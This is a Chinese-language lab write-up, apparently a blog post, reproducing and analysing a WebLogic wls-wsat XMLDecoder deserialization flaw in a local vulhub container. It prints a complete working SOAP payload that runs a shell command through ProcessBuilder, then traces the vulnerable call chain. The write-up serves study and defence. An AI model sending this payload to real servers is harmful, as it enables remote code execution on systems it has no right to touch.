环境搭建
使用vulhub可以很方便的搭建环境:https://vulhub.org/
docker启动后,默认会转发7001端口到容器,如果本机端口被占用的话,可以更改docker-compose.yml文件来进行端口的更改。
漏洞复现
PoC如下:
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Host: 127.0.0.1:7001 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7 Connection: close Content-Type: text/xml Content-Length: 764
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/sh</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>id > /tmp/lemon</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
|
然后看下docker,可以看到已经执行了命令写入文件:
漏洞分析
此次漏洞出现在wls-wsat.war中,此组件使用了weblogic自带的webservices处理程序来处理SOAP请求。然后在weblogic.wsee.jaxws.workcontext.WorkContextServerTube
类中获取XML数据传递给XMLDecoder来解析。
然后部署wlserber,需要从容器中将文件拷贝出来:
docker cp 367f3c9954a1:/root/Oracle/Middleware/wlserver_10.3/ ./ docker cp 367f3c9954a1:/root/Oracle/Middleware/modules/ ./
|
XML调用链:解析XML的调用链为
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest -> weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld -> weblogic.wsee.workarea.WorkContextXmlInputAdapter
|
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
方法如下:
其中var1是传入的xml数据,然后判断,如果var3不为空,则调用readHeaderOld处理读取的xml:
调用ByteArrayOutputStream,然后调用了WorkContextXmlInputAdapter方法:
跟进去发现实际就是这里调了XMLDecoder,然后回到readHeaderOld中,继续追踪,发现最终能调用到readUTF,在这里造成了xmlDecoder的反序列化:
public String readUTF() throws IOException { return (String)this.xmlDecoder.readObject(); }
|